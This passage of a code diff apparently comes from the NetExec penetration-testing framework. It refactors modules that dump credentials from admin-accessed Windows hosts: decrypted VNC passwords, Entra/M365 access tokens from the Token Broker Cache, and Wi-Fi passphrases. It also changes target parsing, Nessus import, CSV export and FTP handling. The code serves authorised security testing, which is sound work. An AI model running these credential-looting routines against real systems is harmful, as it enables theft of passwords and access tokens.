if not resp_parsed:
context.log.highlight("No objects are in a tombstone state")
return False
context.log.highlight("")
for entries in resp_parsed:
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
context.log.highlight("")
context.log.highlight(f"Found {len(resp_parsed)} deleted objects")
+2 -1
View File
@@ -3,6 +3,7 @@ from datetime import datetime
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -91,7 +92,7 @@ class NXCModule:
def create_log_file(self, host, time):
"""Create a log file for dumping user descriptions."""
logfile = f"UserDesc-{host}-{time}.log"
logfile = sanitize_path_component(f"UserDesc-{host}-{time}.log")
logfile = Path(NXC_PATH).joinpath(logfile)
self.context.log.info(f"Creating log file '{logfile}'")
+41 -102
View File
@@ -1,18 +1,14 @@
import ntpath
import tempfile
from dploot.lib.target import Target
from impacket.dcerpc.v5 import rrp
from impacket import winregistry
from impacket.examples.secretsdump import RemoteOperations
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from impacket.dcerpc.v5 import rrp
from Cryptodome.Cipher import DES
from binascii import unhexlify
import codecs
import re
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
class NXCModule:
@@ -23,7 +19,7 @@ class NXCModule:
name = "vnc"
description = "Loot Passwords from VNC server and client configurations"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -49,79 +45,40 @@ class NXCModule:
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = self.connection.args.share
self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$"
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
dploot_conn = connection.dpapi_triage.conn
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
if not self.no_remoteops:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
self.vnc_from_registry(remote_ops)
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
self.vnc_from_registry(dploot_conn)
self.vnc_client_proxyconf_extract(dploot_conn)
self.vnc_from_filesystem(dploot_conn)
def reg_query_value(self, remote_ops, path, key, hku=False):
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
path,
)
key_handle = ans["phkResult"]
data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
key,
)
return data
except rrp.DCERPCSessionError as e:
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
def vnc_client_proxyconf_extract(self, dploot_conn):
vnc_client_softwares = [
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
]
users = self.get_users(remote_ops)
users = self.get_users(dploot_conn)
if dploot_conn.target.protocol != "smb":
self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow")
for user, sid in users.items():
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
try:
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path)
except Exception as e:
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
cred = {}
if ntuser_dat_bytes is None and remote_ops is not None:
if ntuser_dat_bytes is None:
user_registry_path = ntpath.join(sid, registry_path)
try:
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1])
if password is None:
continue
password = password.encode().rstrip(b"\x00").decode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2])
cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0])
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
@@ -139,9 +96,9 @@ class NXCModule:
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
def vnc_from_registry(self, remote_ops):
def vnc_from_registry(self, dpapi_conn):
vncs = (
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
@@ -152,10 +109,12 @@ class NXCModule:
)
for vnc_name, path, key in vncs:
try:
value = self.reg_query_value(remote_ops, path, key)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
value = dpapi_conn.reg_get_key_value("HKLM", path, key)
except rrp.DCERPCSessionError as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}")
else:
self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}")
continue
if value is None:
continue
@@ -163,7 +122,7 @@ class NXCModule:
password = self.recover_vncpassword(value)
if password is None:
continue
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
vnc_users = (
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
@@ -171,7 +130,10 @@ class NXCModule:
for vnc_name, path, user, password, server in vnc_users:
cred = {}
try:
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
value = dpapi_conn.reg_get_key_value("HKLM", path, password)
if value is None:
continue
value = value.encode().rstrip(b"\x00").decode()
value = unhexlify(value)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
@@ -181,13 +143,13 @@ class NXCModule:
continue
cred["password"] = self.recover_vncpassword(value).decode()
try:
cred["server"] = self.reg_query_value(remote_ops, path, server)
cred["user"] = self.reg_query_value(remote_ops, path, user)
cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server)
cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
def split_len(self, seq, length):
return [seq[i:i + length] for i in range(0, len(seq), length)]
@@ -230,8 +192,8 @@ class NXCModule:
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
)
for vnc_name, file in vncs:
file_content = dploot_conn.readFile(self.share, file)
for vnc_name, filepath in vncs:
file_content = dploot_conn.read_file(share=self.share, path=filepath)
if file_content is not None:
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
for regex in regex_passwd:
@@ -239,39 +201,16 @@ class NXCModule:
for passwd_encrypted in passwds_encrypted:
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
def get_users(self, conn):
users = {}
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
sids = []
i = 0
while True:
try:
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
sids.append(ans2["lpNameOut"])
except rrp.DCERPCSessionError as e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except Exception as e:
self.context.debug(f"Error while listing users from HKU: {e}")
i += 1
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
for sid in sids:
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
if r"%systemroot%" in profile_path:
for sid in conn.reg_enum_key("HKLM", userlist_key):
profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath")
if "C:\\Users" not in profile_path:
continue
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0")
return users
+12 -34
View File
@@ -1,67 +1,45 @@
import re
import jwt
import json
from base64 import urlsafe_b64decode
from dploot.triage.wam import WamTriage
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "wam"
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
context.log.success("Looting Token Broker Cache access tokens")
def token_callback(token):
for attrib in token.attribs:
if attrib["Key"].decode() == "WTRes_Token":
# Extract every access token
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
try:
decoded_token = json.loads(urlsafe_b64decode(access_token.split(".")[1] + "=="))
except ValueError:
context.log.fail(f"[{token.winuser}] Could not decode the token payload (JWE or malformed): {access_token}")
continue
if "preferred_username" in decoded_token:
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", context.log)
try:
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage.triage_wam()
except Exception as e:
context.log.debug(f"Could not loot access tokens: {e}")
+10 -35
View File
@@ -1,54 +1,29 @@
from dploot.lib.target import Target
from dploot.triage.wifi import WifiTriage
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
class NXCModule:
name = "wifi"
description = "Get key of all wireless interfaces"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
context.log.success("Looting Wifi interfaces")
try:
# Collect Chrome Based Browser stored secrets
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
wifi_triage = WifiTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=masterkeys)
wifi_creds = wifi_triage.triage_wifi()
except Exception as e:
context.log.debug(f"Error while looting wifi: {e}")
@@ -57,16 +32,16 @@ class NXCModule:
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
try:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log)
except Exception:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
try:
if self.eap_username is not None and self.eap_password is not None:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None:
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log)
else:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log)
except Exception:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
else:
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")
+16 -27
View File
@@ -1,15 +1,14 @@
# PYTHON_ARGCOMPLETE_OK
import contextlib
import sys
from nxc.helpers.logger import highlight
from nxc.helpers.misc import identify_target_file, display_modules
from nxc.parsers.ip import parse_targets
from nxc.parsers.nmap import parse_nmap_xml
from nxc.parsers.nessus import parse_nessus_file
from nxc.helpers.misc import display_modules
from nxc.cli import gen_cli_args
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.first_run import first_run_setup
from nxc.parsers.ip import process_targets
from nxc.paths import NXC_PATH, WORKSPACE_DIR
from nxc.console import nxc_console
from nxc.logger import nxc_logger
@@ -21,7 +20,6 @@ from nxc.helpers import powershell
import signal
import shutil
import os
from os.path import exists
from os.path import join as path_join
from sys import exit
from rich.progress import Progress
@@ -106,12 +104,18 @@ def main():
nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
exit(1)
if args.protocol == "ldap" and args.schannel and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
nxc_logger.fail("--schannel requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
exit(1)
if args.protocol == "smb" and args.unpac and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
nxc_logger.fail("--unpac requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
exit(1)
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
nxc_logger.error("KRB5CCNAME environment variable is not set")
exit(1)
targets = []
if hasattr(args, "cred_id") and args.cred_id:
for cred_id in args.cred_id:
if "-" in str(cred_id):
@@ -124,27 +128,11 @@ def main():
nxc_logger.error(f"Error parsing database credential id: {e}")
exit(1)
if hasattr(args, "target") and args.target:
for target in args.target:
try:
if exists(target) and os.path.isfile(target):
target_file_type = identify_target_file(target)
if target_file_type == "nmap":
targets.extend(parse_nmap_xml(target, args.protocol))
elif target_file_type == "nessus":
targets.extend(parse_nessus_file(target, args.protocol))
else:
with open(target) as target_file:
for target_entry in target_file:
targets.extend(parse_targets(target_entry.strip()))
else:
targets.extend(parse_targets(target))
except Exception as e:
nxc_logger.fail(f"Failed to parse target '{target}': {e}")
targets = process_targets(args)
# The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
if hasattr(args, "clear_obfscripts") and args.clear_obfscripts:
obfuscated_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
obfuscated_dir = path_join(NXC_PATH, "obfuscated_scripts")
shutil.rmtree(obfuscated_dir)
os.mkdir(obfuscated_dir)
nxc_logger.success("Cleared cached obfuscated PowerShell scripts")
@@ -176,7 +164,8 @@ def main():
if args.module or args.list_modules is not None:
loader = ModuleLoader(args, db, nxc_logger)
modules = loader.list_modules()
# -L lists every module, -M only needs the requested ones
modules = loader.list_modules(None if args.list_modules is not None else args.module)
if args.list_modules is not None:
low_privilege_modules = {m: props for m, props in modules.items() if args.protocol in props["supported_protocols"] and not props["requires_admin"]}
@@ -217,7 +206,7 @@ def main():
proto_module_paths.append(modules[m]["path"])
protocol_object.module_paths = proto_module_paths
if args.protocol == "rdp" and args.execute:
if args.protocol == "rdp" and (args.execute or args.ps_execute):
ans = input(highlight("[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] ", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
+14 -29
View File
@@ -40,6 +40,17 @@ def write_csv(filename, headers, entries):
csv_file.writerow(entry)
def host_csv_headers(hosts_table, mode="simple"):
"""Return the CSV header for a hosts export, taken from the protocol's own HostsTable.
"simple" keeps the first 8 columns, the historical width of the SMB export, "detailed" returns them all.
"""
columns = tuple(col.name for col in hosts_table.columns)
if mode == "detailed":
return columns
return columns[:8]
def write_list(filename, entries):
"""Writes a file with a simple list"""
with open(os.path.expanduser(filename), "w") as export_file:
@@ -169,39 +180,13 @@ class DatabaseNavigator(cmd.Cmd):
print("[-] invalid arguments, export hosts <simple|detailed|signing> <filename>")
return
csv_header_simple = (
"id",
"ip",
"hostname",
"domain",
"os",
"dc",
"smbv1",
"signing",
)
csv_header_detailed = (
"id",
"ip",
"hostname",
"domain",
"os",
"dc",
"smbv1",
"signing",
"spooler",
"zerologon",
"petitpotam",
)
filename = line[2]
if line[1].lower() == "simple":
hosts = self.db.get_hosts()
simple_hosts = [host[:8] for host in hosts]
write_csv(filename, csv_header_simple, simple_hosts)
# TODO: maybe add more detail like who is an admin on it, shares discovered, etc
csv_header = host_csv_headers(self.db.HostsTable, "simple")
write_csv(filename, csv_header, [host[: len(csv_header)] for host in self.db.get_hosts()])
elif line[1].lower() == "detailed":
hosts = self.db.get_hosts()
write_csv(filename, csv_header_detailed, hosts)
write_csv(filename, host_csv_headers(self.db.HostsTable, "detailed"), self.db.get_hosts())
elif line[1].lower() == "signing":
hosts = self.db.get_hosts("signing")
signing_hosts = [host[1] for host in hosts]
+119 -6
View File
@@ -1,22 +1,135 @@
import netifaces
from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
from nxc.helpers.logger import highlight
from nxc.helpers.misc import identify_target_file
from nxc.config import exclude_hosts, skip_self
from nxc.logger import nxc_logger
from nxc.parsers.nmap import parse_nmap_xml
from nxc.parsers.nessus import parse_nessus_file
from os.path import exists, isfile
from pathlib import Path
from sys import exit
def process_targets(args):
targets = []
if hasattr(args, "target") and args.target:
for target in args.target:
try:
if exists(target) and isfile(target):
target_file_type = identify_target_file(target)
if target_file_type == "nmap":
targets.extend(parse_nmap_xml(target, args.protocol))
elif target_file_type == "nessus":
targets.extend(parse_nessus_file(target, args.protocol))
else:
with open(target) as target_file:
for target_entry in target_file:
targets.extend(parse_targets(target_entry.strip()))
else:
targets.extend(parse_targets(target))
except Exception as e:
nxc_logger.fail(f"Failed to parse target '{target}': {e}")
# Handle exclusions from config
excluded_ips = set()
# Process exclude_hosts from config. Important, we are reusing the parse_targets because it
# already provides the code necessary for parsing all provided inputs
if args.exclude_hosts is not None:
exclude_hosts.extend(args.exclude_hosts)
for excluded in exclude_hosts:
if Path(excluded).is_file():
with open(excluded) as excluded_file:
for line in excluded_file.readlines():
excluded_ips.update(parse_targets(line.strip()))
else:
excluded_ips.update(parse_targets(excluded))
# Process skip_self from config and cli argument
if skip_self or args.skip_self:
local_ips = get_local_ips()
if local_ips:
nxc_logger.debug(f"Local IP addresses detected: {local_ips}")
excluded_ips.update(local_ips)
else:
nxc_logger.error("Could not determine local IP address for skip_self")
# Validate that all objects to be excluded are valid IP addresses
try:
for ip in excluded_ips:
ip_address(ip)
except ValueError as e:
nxc_logger.error(f"Invalid IP address in excluded hosts: {e}")
exit(1)
# Filter out excluded targets
if excluded_ips:
ignore_target_warning = False
for target in targets:
try:
ip_address(target)
except ValueError:
if not ignore_target_warning:
ans = input(highlight("[!] Target is not an IP address, but exclusion list detected. Hostnames will not be filtered. Do you want to continue? [Y/n] ", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
ignore_target_warning = True
original_count = len(targets)
excluded_targets = [target for target in targets if target in excluded_ips]
targets = [target for target in targets if target not in excluded_ips]
nxc_logger.info(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}")
return targets
def get_local_ips():
"""Get the local IP address using netifaces library."""
interfaces = netifaces.interfaces()
ips = set()
for interface in interfaces:
# Skip loopback interface
if interface == "lo" or interface.startswith("lo"):
continue
addresses = netifaces.ifaddresses(interface)
if netifaces.AF_INET in addresses:
for addr_info in addresses[netifaces.AF_INET]:
ip = addr_info.get("addr")
# Skip localhost and link-local addresses
if ip and not ip.startswith("127.") and not ip.startswith("169.254."):
ips.add(ip)
if netifaces.AF_INET6 in addresses:
for addr_info in addresses[netifaces.AF_INET6]:
ip = addr_info.get("addr")
# Skip localhost and link-local addresses
if ip and not ip.startswith("::1") and not ip.startswith("fe80::"):
ips.add(ip)
return ips
def parse_targets(target):
try:
if "-" in target:
start_ip, end_ip = target.split("-")
start = ip_address(start_ip)
try:
end_ip = ip_address(end_ip)
end = ip_address(end_ip)
except ValueError:
first_three_octets = start_ip.split(".")[:-1]
first_three_octets.append(end_ip)
end_ip = ip_address(".".join(first_three_octets))
sep = ":" if start.version == 6 else "."
prefix = start_ip.split(sep)[:-1]
prefix.append(end_ip)
end = ip_address(sep.join(prefix))
for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
for ip_range in summarize_address_range(start, end):
for ip in ip_range:
yield str(ip)
else:
if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local:
ip = ip_interface(target).ip
if ip.version == 6 and ip.is_link_local:
yield str(target)
else:
for ip in ip_network(target, strict=False):
+9 -4
View File
@@ -7,6 +7,12 @@ protocol_dict = {
"ssh": {"ports": [22], "services": ["ssh"]},
"winrm": {"ports": [5986, 5985], "services": ["www", "https?"]},
"http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]},
"rdp": {"ports": [3389], "services": ["msrdp", "rdp", "ms-wbt-server"]},
"vnc": {"ports": [5900, 5901, 5902, 5903], "services": ["vnc", "rfb"]},
"ftp": {"ports": [21], "services": ["ftp"]},
"ldap": {"ports": [389, 636], "services": ["ldap"]},
"wmi": {"ports": [135], "services": ["epmap"]},
"nfs": {"ports": [2049], "services": ["rpc-nfs", "nfs"]},
}
@@ -23,12 +29,11 @@ def parse_nessus_file(nessus_file, protocol):
if ip in targets:
return True
port = item["ReportItem"]["port"]
# Nessus stores the port as a string, the lookup table uses ints
port = int(item["ReportItem"]["port"])
svc_name = item["ReportItem"]["svc_name"]
if port in protocol_dict[protocol]["ports"]:
targets.append(ip)
if svc_name in protocol_dict[protocol]["services"]:
if port in protocol_dict[protocol]["ports"] or svc_name in protocol_dict[protocol]["services"]:
targets.append(ip)
return True
+38 -10
View File
@@ -1,15 +1,16 @@
from io import BytesIO
import os
from nxc.config import process_secret
from nxc.connection import connection
from nxc.helpers.logger import highlight
from nxc.logger import NXCAdapter
from ftplib import FTP, error_perm
from ftplib import FTP, error_perm, error_temp
class ftp(connection):
def __init__(self, args, db, host):
self.protocol = "FTP"
self.remote_version = None
self.welcome_banner = ""
super().__init__(args, db, host)
@@ -26,11 +27,12 @@ class ftp(connection):
def enum_host_info(self):
welcome = self.conn.getwelcome()
self.logger.debug(f"Welcome result: {welcome}")
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
self.logger.debug(f"Remote version: {self.remote_version}")
for line in welcome.splitlines():
self.welcome_banner += line.split("220", 1)[1].strip() # strip out the extra space in the front
self.logger.debug(f"Remote version: {self.welcome_banner}")
def print_host_info(self):
self.logger.display(f"Banner: {self.remote_version}")
self.logger.display(f"Banner: {self.welcome_banner}")
def create_conn_obj(self):
self.conn = FTP()
@@ -50,13 +52,12 @@ class ftp(connection):
self.logger.debug(f"Response: {resp}")
except Exception as e:
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
self.conn.close()
return False
# 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
if "230" in resp:
self.logger.debug(f"Host: {self.host} Port: {self.port}")
self.db.add_host(self.host, self.port, self.remote_version)
self.db.add_host(self.host, self.port, self.welcome_banner)
cred_id = self.db.add_credential(username, password)
@@ -101,8 +102,9 @@ class ftp(connection):
self.put_file(self.args.put[0], self.args.put[1])
if not self.args.continue_on_success:
self.conn.close()
return True
def disconnect(self):
self.conn.close()
def list_directory_full(self):
@@ -115,6 +117,10 @@ class ftp(connection):
self.logger.fail(f"Failed to list directory. Response: ({error_message})")
self.conn.close()
return False
except error_temp as e:
self.logger.fail(e)
self.conn.close()
return False
return files
def get_file(self, filename):
@@ -125,8 +131,6 @@ class ftp(connection):
if self.conn.encoding == "utf-8":
# Switch the connection to binary
self.conn.sendcmd("TYPE I")
# Check if the file exists
self.conn.size(filename)
# Attempt to download the file
with open(downloaded_file, "wb") as f:
self.conn.retrbinary(f"RETR {filename}", f.write)
@@ -161,6 +165,30 @@ class ftp(connection):
else:
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
def cat(self):
# Extract the filename from the path
remote_file = self.args.cat
try:
# Check if the current connection is ASCII (ASCII does not support .size())
if self.conn.encoding == "utf-8":
# Switch the connection to binary
self.conn.sendcmd("TYPE I")
# Attempt to get the file content
buf = BytesIO()
self.conn.retrbinary(f"RETR {remote_file}", buf.write)
except error_perm as error_message:
